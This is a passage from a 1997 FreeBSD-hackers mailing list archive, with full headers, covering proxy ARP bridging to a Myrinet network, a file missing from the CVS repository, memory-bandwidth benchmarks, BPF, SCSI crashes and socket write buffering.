Alfred Perlstein writes: : Adaptec AIC6360 chipset : is this curerently supported? Kinda. Some uses of these guys work great, while others result in mysterious hangs or worse. Warner From owner-freebsd-hackers Wed Aug 13 12:17:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA21634 for hackers-outgoing; Wed, 13 Aug 1997 12:17:53 -0700 (PDT) Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA21549 for ; Wed, 13 Aug 1997 12:16:22 -0700 (PDT) Received: from sexta.cs.huji.ac.il by cs.huji.ac.il with SMTP id AA17004 (5.67b/HUJI 4.153 for ); Wed, 13 Aug 1997 22:15:44 +0300 Received: from sexta.cs.huji.ac.il (danny@localhost [127.0.0.1]) by sexta.cs.huji.ac.il (8.8.5/1.1c) with ESMTP id WAA22897; Wed, 13 Aug 1997 22:15:43 +0300 (IDT) Message-Id: <199708131915.WAA22897@sexta.cs.huji.ac.il> To: Jim Shankland Cc: hackers@FreeBSD.ORG Subject: Re: PROXY ARP In-Reply-To: Your message of "Wed, 13 Aug 1997 10:06:39 PDT." <199708131706.KAA12621@biggusdiskus.flyingfox.com> Date: Wed, 13 Aug 1997 22:15:43 +0300 From: Danny Braniss Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message <199708131706.KAA12621@biggusdiskus.flyingfox.com>you write: } }As Alex Trebek would say, "Can you be more specific?" Do you mean }the code isn't really there in FreeBSD? Or that ARP-level bridging }is inherently a bad idea? If the latter, why? } }Jim Shankland }Flying Fox Computer Systems, Inc. I think ARP-level bridging is not a bad idea in certain cases, and in my particular case the simplest one (if it would work :-), trying to link two dissimilar electronic networks with common protocol when of the shelf box is not available. (btw, gbt network, at least one product has a '12 port repeater if one 10/100mgb port). now back to bsd, in if_ether.c there is 'some' provision for proxying. actualy only some 4 lines of code. My guess is that it was put in specialy for p2p links, where the slip/ppp takes care of setting it up, and removing the proxy when the link goes down. Intranet +-------+ +--------------+ --------|Gateway|-------|Myrinet switch| (16 ports) 10/100ether +-------+ +--------------+ | | host-A host-X host-Y ... to simplify the test, hosts on the Myrinet side have a subnet of 255.255.240 and a default route to gateway, hence have no need for proxying - if they want to talk to hosts on the myrinet they send an arp, else the packets get routed to gateway. the problem is on the ethernet side, all hosts think the network is flat (no subnets, and they have a default route to a wan-router). so, by doing 'arp -s host-X mac-address-of-ether pub' the intranet was able to communicate with host-X. problem I: when host-Y wanted to talk with host-X, both the Gateway and host-X replied (forgot to mention, the gateway is running BSD/OS, there is not yet a driver for myrinet for FreeBSD), so i looked at FreeBSD and saw the fix i need, mainly not to respond to arp request to the 'wrong' interface. problem I solved. proble II: and this is true for FreeBSD too (as far as i can tell). the gateway will eventualy expire the myrinet-mac address of host-X, leaving only the proxy (permanet) entry. next time the gateway wants to talk to host-X it gets the proxy-mac, and sends the packet out through the ethernet! (there are more problems with expiration, but as they like to write in books: it's left to the reader to figure it out :-) problem III: i see sometimes, on hosts in the intranet, have the myrinet mac address of host-X! problem II & III are more difficult, im still trying to figure out rtalloc1(), which calls rn_match, but at first look, sin_other (which is set to PROXY) is not checked - don't know if it should. Am i being too specific? In any case, while i was doing all this, i was writing a user level program to add/delete proxy entries. it used bpf to filter arp requests on both interfaces, and when a request on the ether side is seen that has a match on the myrinet, it would tell the kernel about the proxy. but in a 'bold and recless' move, I decided to send an ARP (proxy) reply myself (not telling the kernel anything), and it seems to work! the program needs allot of polishing still, but it does prove a point. a side effect, is that, since the network is fully switched, broadcasts are slow, and my little gateway/user level program, adds no significant delay. danny Daniel Braniss e-mail: danny@cs.huji.ac.il Institute of Computer Science phone: +972 2 658 4385 The Hebrew University Fax: +972 2 561 7723 Jerusalem, Israel From owner-freebsd-hackers Wed Aug 13 12:29:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA22519 for hackers-outgoing; Wed, 13 Aug 1997 12:29:27 -0700 (PDT) Received: from vinyl.quickweb.com (vinyl.quickweb.com [206.222.77.8]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA22514 for ; Wed, 13 Aug 1997 12:29:25 -0700 (PDT) Received: (from mark@localhost) by vinyl.quickweb.com (8.8.5/8.6.12) id PAA16067; Wed, 13 Aug 1997 15:29:22 -0400 (EDT) Message-ID: <19970813152922.26441@vinyl.quickweb.com> Date: Wed, 13 Aug 1997 15:29:22 -0400 From: Mark Mayo To: freebsd-hackers@freebsd.org Subject: netscape2 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Anyone still have the Netscape 2.02 tar file hanging around? They have long since removed it from their ftp servers, but I want it to use as a "lightweight" browser.. TIA, -Mark -- ---------------------------------------------------------------------------- Mark Mayo mark@quickweb.com RingZero Comp. http://vinyl.quickweb.com/mark finger mark@quickweb.com for my PGP key and GCS code ---------------------------------------------------------------------------- University degrees are a bit like adultery: you may not want to get involved with that sort of thing, but you don't want to be thought incapable. -Sir Peter Imbert From owner-freebsd-hackers Wed Aug 13 12:32:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA22725 for hackers-outgoing; Wed, 13 Aug 1997 12:32:23 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA22720 for ; Wed, 13 Aug 1997 12:32:20 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id MAA24104 for ; Wed, 13 Aug 1997 12:32:01 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd024101; Wed Aug 13 19:31:58 1997 Message-ID: <33F20B21.FF6D5DF@whistle.com> Date: Wed, 13 Aug 1997 12:29:37 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: hackers@freebsd.org Subject: kern_exit.c gone? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk kern_exit.c has dissappeared form both -current and RELENG_2_2 is this intended? I missed the message if it is.. this is using cvs DIRECT on freefall. julian From owner-freebsd-hackers Wed Aug 13 12:32:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA22747 for hackers-outgoing; Wed, 13 Aug 1997 12:32:28 -0700 (PDT) Received: from shadows.aeon.net (bsdhack@shadows.aeon.net [194.100.41.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA22717 for ; Wed, 13 Aug 1997 12:32:17 -0700 (PDT) Received: (from bsdhack@localhost) by shadows.aeon.net (8.8.7/8.8.3) id WAA00949 for hackers@freebsd.org; Wed, 13 Aug 1997 22:29:57 +0300 (EET DST) From: mika ruohotie Message-Id: <199708131929.WAA00949@shadows.aeon.net> Subject: speed test To: hackers@freebsd.org Date: Wed, 13 Aug 1997 22:29:57 +0300 (EET DST) X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk i think someone might be interested in this test i did... i was using black intel pentium 200 classic cpus, 64 megs ram on each machines, 60ns edo and 10ns sdram on tx97-e. speed difference to sdram with 66 was only 1Mbyt/sec. didnt yet have cooling to test the faster 83 bus on the tx. gigabyte has mid july 2.2-stable, other machines today's current with PQ_LARGECACHE and CPU_UPGRADE_HW_CACHE. i used the good old 'dd if=/dev/zero of=/dev/null bs=128k count=8000' and 'dd if=/dev/zero of=/dev/null bs=1m count=1000' tests... numbers are Mbyt/sec. can anyone beat those tx97-e speeds? 128k 1m mb 66 75 83 66 75 83 ga586hx512 136,0 137,4 p2t4hx512 117,4 137,7 142,4 120,0 130,4 145,3 tx97-e 132,1 149,6l 134,6 151,4 so, gigabyte is the fastest board here, no doubts. too bad it doesnt have faster bus speeds. tx is also faster than hx. tx loves sdram and higher bus speeds. tomorrow i test k6 200... =)) mickey From owner-freebsd-hackers Wed Aug 13 12:33:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA22830 for hackers-outgoing; Wed, 13 Aug 1997 12:33:55 -0700 (PDT) Received: from plains.NoDak.edu (tinguely@plains.NoDak.edu [134.129.111.64]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA22774 for ; Wed, 13 Aug 1997 12:32:46 -0700 (PDT) Received: (from tinguely@localhost) by plains.NoDak.edu (8.8.5/8.8.5) id OAA32627; Wed, 13 Aug 1997 14:31:22 -0500 (CDT) Date: Wed, 13 Aug 1997 14:31:22 -0500 (CDT) From: Mark Tinguely Message-Id: <199708131931.OAA32627@plains.NoDak.edu> To: hackers@FreeBSD.ORG, mango@staff.communique.net Subject: Re: maybe a bug ... Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > kiyoko:~$ ifconfig de0 > de0: flags=8843 mtu 1500 > inet 10.4.64.11 netmask 0xffffff00 broadcast 255.255.255.0 > > and I did the following: > ifconfig de0 10.4.65.11 255.255.255.255 alias > .........some 3 hours of activity....... > ifconfig de0 10.4.65.11 255.255.255.255 delete > > and then I tried to connect to 10.4.65.7. I could not. > > The details: > > 10.4.64.0/24--------ROUTER------10.4.65.0/24 > > I have a route on ROUTER '10.4.65.11 ---> 10.4.64.11' > > netstat -nr show the expected routes, for example: > destination GATEWAY > 10.4.65.7 x:xx:xx:xx:xx:xx bla bla > > were x:xx:xx:xx:xx:xx was the ethernet address of ROUTER > > tcpdump would show that this machine was still using 10.4.65.11 as the > source address, even though it was not defined in any of the interfaces. I think you have an unresolved ARP request. Type: $ arp -a there should be a line that says: HOST.DOMAIN (IP.IP.IP.IP) at (incomplete) if you delte the incomplete arp entry: # arp -d IP.IP.IP.IP you will see the 10.4.65.11 activity stop. --mark. ps. you may also want to delete the permanent arp entry for the alias IP when you shut the alias down. From owner-freebsd-hackers Wed Aug 13 12:40:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA23325 for hackers-outgoing; Wed, 13 Aug 1997 12:40:33 -0700 (PDT) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.45]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA23315 for ; Wed, 13 Aug 1997 12:40:23 -0700 (PDT) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id PAA04252; Wed, 13 Aug 1997 15:38:47 -0400 (EDT) Date: Wed, 13 Aug 1997 15:38:42 -0400 (EDT) From: Brian Mitchell To: Adrian Chadd cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Information on using the BPF? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 13 Aug 1997, Adrian Chadd wrote: > Hi. > > I'm going to be using the bpf for an upcoming project, and save reading > tcpdump source, is there a good source of information on how to program > it? (I'd rather talk directly to it rather than via a library or some > other front end, this thing needs to run rather quickly ;) the bpf man page is really really really detailed, and an excellent source of information. I don't imagine you will need anything more. btw, tcpdump source wont help you at all, it uses libpcap :). libpcap source, on the other hand, may be of considerable use. For what it's worth, i'd probably use libpcap instead. > > Thanks, > > -- > Adrian Chadd | "Unix doesn't stop you from doing > | stupid things because that would > | stop you from doing clever things" > > > From owner-freebsd-hackers Wed Aug 13 14:37:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA29430 for hackers-outgoing; Wed, 13 Aug 1997 14:37:50 -0700 (PDT) Received: from echonyc.com (echonyc.com [198.67.15.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA29415 for ; Wed, 13 Aug 1997 14:37:45 -0700 (PDT) Received: from localhost (benedict@localhost) by echonyc.com (8.8.5/8.8.3) with SMTP id RAA23849; Wed, 13 Aug 1997 17:37:36 -0400 (EDT) Date: Wed, 13 Aug 1997 17:37:35 -0400 (EDT) From: Snob Art Genre To: Mark Mayo cc: freebsd-hackers@FreeBSD.ORG Subject: Re: netscape2 In-Reply-To: <19970813152922.26441@vinyl.quickweb.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk You're in luck. I'm sending it to you under separate cover. On Wed, 13 Aug 1997, Mark Mayo wrote: > Anyone still have the Netscape 2.02 tar file hanging around? They > have long since removed it from their ftp servers, but I want it to use > as a "lightweight" browser.. > > TIA, > -Mark Ben From owner-freebsd-hackers Wed Aug 13 14:52:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA00840 for hackers-outgoing; Wed, 13 Aug 1997 14:52:30 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA00829 for ; Wed, 13 Aug 1997 14:52:27 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id OAA28784 for ; Wed, 13 Aug 1997 14:46:58 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd028782; Wed Aug 13 21:46:56 1997 Message-ID: <33F22AC2.ABD322C@whistle.com> Date: Wed, 13 Aug 1997 14:44:34 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: hackers@freebsd.org Subject: I've replaced kern_exit.c,v Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk it was totally missing from the repository... I haven't checked the commit logs yet to see if anyone changed it since last night (when my backup was made) julian From owner-freebsd-hackers Wed Aug 13 14:55:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA01230 for hackers-outgoing; Wed, 13 Aug 1997 14:55:31 -0700 (PDT) Received: from news1.gtn.com (news1.gtn.com [194.77.0.15]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA01216 for ; Wed, 13 Aug 1997 14:55:23 -0700 (PDT) Received: (from uucp@localhost) by news1.gtn.com (8.7.2/8.7.2) with UUCP id XAA13669; Wed, 13 Aug 1997 23:45:44 +0200 (MET DST) Received: (from andreas@localhost) by klemm.gtn.com (8.8.7/8.8.7) id XAA19647; Wed, 13 Aug 1997 23:24:21 +0200 (CEST) Message-ID: <19970813232421.64635@klemm.gtn.com> Date: Wed, 13 Aug 1997 23:24:21 +0200 From: Andreas Klemm To: rdkeys@csemail.cropsci.ncsu.edu Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Status of 2.2.X vs 3.0 trees????? References: <9708131848.AA106278@csemail.cropsci.ncsu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.79 In-Reply-To: <9708131848.AA106278@csemail.cropsci.ncsu.edu>; from rdkeys@csemail.cropsci.ncsu.edu on Wed, Aug 13, 1997 at 02:47:56PM -0400 X-Disclaimer: A free society is one where it is safe to be unpopular X-Operating-System: FreeBSD 3.0-CURRENT SMP Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, Aug 13, 1997 at 02:47:56PM -0400, rdkeys@csemail.cropsci.ncsu.edu wrote: > I am considering an installation of either 2.2.2xxxx----->> RELENG > tree, or the 3.0-current tree. It really does not make a lot of > difference to me which to use, BUT, I am interested in the tree that > will be around for a while. Both trees seem to be moving along. You seem to be mainly an end-user, who wants a stable running system. Then IŽd suggest you run FreeBSD 2.2-STABLE. Go and install FreeBSD-2.2.2 and the get the latest updates via cvsup, this results then in a 2.2-STABLE system. -current is mainly for OS and ports developers only. > I understand the 3.0 tree has the better code? YES/NO? FreeBSD-current has very experimental code in it. ItŽs questionable if itŽs always "better code". From time to time tested code from 3.0-current, that might be useful for 2.2 is merged into the 2.2-STABLE tree. I think you should stay with 2.2-STABLE. -- Andreas Klemm | klemm.gtn.com - powered by Symmetric MultiProcessor FreeBSD http://www.freebsd.org/~fsmp/SMP/SMP.html http://www.freebsd.org/~fsmp/SMP/benches.html From owner-freebsd-hackers Wed Aug 13 15:07:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA02176 for hackers-outgoing; Wed, 13 Aug 1997 15:07:21 -0700 (PDT) Received: from value.net (root@value.net [204.188.125.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA02159 for ; Wed, 13 Aug 1997 15:07:11 -0700 (PDT) Received: from cae-f (bv55.value.net [209.21.1.55]) by value.net (8.8.5/8.7.4) with SMTP id PAA08581 for ; Wed, 13 Aug 1997 15:07:05 -0700 (PDT) Message-Id: <199708132207.PAA08581@value.net> From: john Organization: CAE Technologies Inc. Date: Wed, 13 Aug 1997 15:10:10 Subject: Sony CD-R support X-Mailer: Internet Series for Microsoft Mail ( V3.0.9 ) Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=+*_=+*_=+*_747789795920=+*_=+*_=+*_" To: freebsd-hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk --=+*_=+*_=+*_747789795920=+*_=+*_=+*_ Content-Type: text/plain Content-Transfer-Encoding: Quoted-Printable I don't want to write on the CD-r but would like to be able to read = from it ... is there any patches that would allow me to use my CD-R = (sony cdu920s 2.0b) I can see it fine from dos but not at kernel build = time... Thanks john --=+*_=+*_=+*_747789795920=+*_=+*_=+*_-- From owner-freebsd-hackers Wed Aug 13 15:10:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA02475 for hackers-outgoing; Wed, 13 Aug 1997 15:10:15 -0700 (PDT) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA02459 for ; Wed, 13 Aug 1997 15:10:10 -0700 (PDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id QAA13392; Wed, 13 Aug 1997 16:09:59 -0600 (MDT) Date: Wed, 13 Aug 1997 16:09:59 -0600 (MDT) Message-Id: <199708132209.QAA13392@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Julian Elischer Cc: hackers@freebsd.org Subject: Re: kern_exit.c gone? In-Reply-To: <33F20B21.FF6D5DF@whistle.com> References: <33F20B21.FF6D5DF@whistle.com> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > kern_exit.c has dissappeared form both -current and RELENG_2_2 > > is this intended? > I missed the message if it is.. > > this is using cvs DIRECT on freefall. I see that you stuck it back in the CVS tree, but what exactly happened? Just in case, I squirelled away a copy I had, but it is exactly the same as what you put back. Nate From owner-freebsd-hackers Wed Aug 13 15:23:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA03076 for hackers-outgoing; Wed, 13 Aug 1997 15:23:10 -0700 (PDT) Received: from iafnl.es.iaf.nl (uucp@iafnl.es.iaf.nl [195.108.17.20]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA03050 for ; Wed, 13 Aug 1997 15:23:06 -0700 (PDT) Received: by iafnl.es.iaf.nl with UUCP id AA00333 (5.67b/IDA-1.5 for freebsd-hackers@FreeBSD.ORG); Thu, 14 Aug 1997 00:23:25 +0200 Received: (from wilko@localhost) by yedi.iaf.nl (8.8.5/8.6.12) id XAA00738; Wed, 13 Aug 1997 23:09:27 +0200 (MET DST) From: Wilko Bulte Message-Id: <199708132109.XAA00738@yedi.iaf.nl> Subject: Re: FreeBSD --- ALPHA To: jamil@counterintelligence.ml.org (Jamil J. Weatherbee) Date: Wed, 13 Aug 1997 23:09:26 +0200 (MET DST) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: from "Jamil J. Weatherbee" at Aug 13, 97 00:57:05 am X-Organisation: Private FreeBSD site - Arnhem, The Netherlands X-Pgp-Info: PGP public key at 'finger wilko@freefall.freebsd.org' X-Mailer: ELM [version 2.4 PL24 ME8a] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Jamil J. Weatherbee wrote... > > I was looking at alpha motherboards / systems tonight when I noted that > there are actually two different versions of the 500MHz 21164, an NT > (&linux) version and a UNIX (DEC UNIX). Apparently the UNIX version is > different and more expensive but will run NT also (the reverse is not > true). So what processor will freebsd-alpha run on, and Is the UNIX > version actually better or what? There has been discussion of limiting/crippling systems to NT-only. If this has been really implemented (discussions of hacking the actual CPU silicon come to mind) I don't know. Crazy, I agree... Wilko _ ____________________________________________________________________ | / o / / _ Bulte email: wilko@yedi.iaf.nl - Arnhem, The Netherlands |/|/ / / /( (_) Do, or do not. There is no 'try' - Yoda -------------------------------------------------------------------------- From owner-freebsd-hackers Wed Aug 13 15:54:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA04858 for hackers-outgoing; Wed, 13 Aug 1997 15:54:28 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA04847; Wed, 13 Aug 1997 15:54:23 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id PAA18976; Wed, 13 Aug 1997 15:55:32 -0700 (PDT) Message-Id: <199708132255.PAA18976@implode.root.com> To: Terry Lambert cc: julian@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: 2.2.2+ crash.. more info In-reply-to: Your message of "Wed, 13 Aug 1997 09:34:38 PDT." <199708131634.JAA12554@phaeton.artisoft.com> From: David Greenman Reply-To: dg@root.com Date: Wed, 13 Aug 1997 15:55:32 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> Quite likely. It's fairly easy to have a bug where a resource is exhausted >> (usually memory) in a subroutine called from an interrupt routine, resulting >> in a tsleep() if the call to malloc isn't M_NOWAIT. > >Is there any way we could talk you into adding an #ifdef DIAGNOSTIC >to malloc to catch this case? To catch which case? malloc() doesn't know a whole lot about the state of the system; it especially doesn't have knowledge about how interrupts work and whether or not it is okay sleep. I don't know if we have a way of knowing this even if we did want to add such machine-dependant checks to malloc(). In any case, the checks would be best added to tsleep(), not to malloc(). -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Wed Aug 13 16:12:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA05925 for hackers-outgoing; Wed, 13 Aug 1997 16:12:33 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA05916 for ; Wed, 13 Aug 1997 16:12:25 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id QAA01948 for ; Wed, 13 Aug 1997 16:07:46 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd001945; Wed Aug 13 23:07:39 1997 Message-ID: <33F23DAE.7DE14518@whistle.com> Date: Wed, 13 Aug 1997 16:05:18 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: hackers@FreeBSD.ORG Subject: Re: I've replaced kern_exit.c,v References: <33F22AC2.ABD322C@whistle.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Julian Elischer wrote: > > it was totally missing from the repository... > I haven't checked the commit logs yet to see if > anyone changed it since last night (when my backup was made) > > julian update: there were no updates since July 16 From owner-freebsd-hackers Wed Aug 13 16:25:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA06651 for hackers-outgoing; Wed, 13 Aug 1997 16:25:39 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA06639 for ; Wed, 13 Aug 1997 16:25:33 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id QAA02173 for ; Wed, 13 Aug 1997 16:14:39 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd002170; Wed Aug 13 23:14:34 1997 Message-ID: <33F23F4B.6201DD56@whistle.com> Date: Wed, 13 Aug 1997 16:12:11 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: hackers@freebsd.org Subject: [Fwd: scsi drivers in 2.1.X 2.2.X] Content-Type: multipart/mixed; boundary="------------63DECDAD62319AC452BFA1D7" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This is a multi-part message in MIME format. --------------63DECDAD62319AC452BFA1D7 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit for more general readership: --------------63DECDAD62319AC452BFA1D7 Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Return-Path: Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id PAA01139 for ; Wed, 13 Aug 1997 15:45:02 -0700 (PDT) Received: from whistle.whistle.com(207.76.205.131), claiming to be "whistle.com" via SMTP by alpo.whistle.com, id smtpd001125; Wed Aug 13 22:44:51 1997 Received: (from smap@localhost) by whistle.com (8.7.5/8.6.12) id PAA06306 for ; Wed, 13 Aug 1997 15:44:50 -0700 (PDT) Received: from gatekeeper.whistle.com(207.76.204.2) by whistle.com via smap (V1.3) id sma006302; Wed Aug 13 15:44:27 1997 Received: (from smap@localhost) by gatekeeper.whistle.com (8.7.5/8.6.12) id PAA01788 for ; Wed, 13 Aug 1997 15:44:26 -0700 (PDT) Received: from smyrno.sol.net(206.55.64.117) by gatekeeper.whistle.com via smap (V1.3) id sma001783; Wed Aug 13 15:43:59 1997 Received: from hub.freebsd.org (hub.FreeBSD.ORG [204.216.27.18]) by smyrno.sol.net (8.8.5/8.6.12) with ESMTP id RAA19954 for ; Wed, 13 Aug 1997 17:43:50 -0500 (CDT) Received: from transbay.net (synergy.transbay.net [207.105.6.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA04174 for ; Wed, 13 Aug 1997 15:43:46 -0700 (PDT) Received: (from root@localhost) by transbay.net (8.8.5/8.8.5) id PAA02800 for julian@freebsd.org; Wed, 13 Aug 1997 15:46:35 -0700 (PDT) Date: Wed, 13 Aug 1997 15:46:35 -0700 (PDT) From: "U.C.Computer" Message-Id: <199708132246.PAA02800@transbay.net> To: julian@freebsd.org Subject: scsi drivers in 2.1.X 2.2.X I have noticed that if the kernel gets a report from a device that it is not expecting a report from, it can crash the system. news on 2.1.7, "timed out while idle, LASTPHASE == 0x1, SCSISIGI == 0x0" then "SEQADDR == 0x8", then a restart 2 minutes later. synergy on 2.2.1, after dumps on an exabyte 8202XL complete, has crashed for ?? reason, no log msg. At first I thought it was a hard disk, now all I have on scsi is this exabyte. It crashed the other day (without being able to restart - croaked from 0300 to 1000 when manually rebooted) and all I could think of is the drive informed the system it needed to be cleaned, perhaps. fyi ... in case it matches any other reports you've heard. -ecsd --------------63DECDAD62319AC452BFA1D7-- From owner-freebsd-hackers Wed Aug 13 16:37:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA07288 for hackers-outgoing; Wed, 13 Aug 1997 16:37:31 -0700 (PDT) Received: from acromail.ml.org (acroal.vip.best.com [206.86.222.181]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA07272; Wed, 13 Aug 1997 16:37:26 -0700 (PDT) Received: from localhost (root@localhost) by acromail.ml.org (8.8.6/8.8.5) with SMTP id QAA02501; Wed, 13 Aug 1997 16:37:28 -0700 (PDT) Date: Wed, 13 Aug 1997 16:37:27 -0700 (PDT) From: 0000-Administrator To: freebsd-hackers@freebsd.org cc: freebsd-stable@freebsd.org Subject: A small buffer question.. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk If the low level write() call is used to write to a data file then unlike fwrite() where you must do an fflush to make sure that info is on disk I am assuming that some type of flush is not necessary (can someone fill me in on how to insure when using write() and read() calls that the data actually gets to the disk), more importantly though if I open a socket and then use a connect call to connect to a remote system and use write() to write a block of data, is that block of data sent entirely as soon as possible? I have basically handled these things when using the stdio library i.e fwrite, printf etc., and found that an fflush is absolutely required to get the packets out of the buffers etc and sent -- I am just not that sure about how 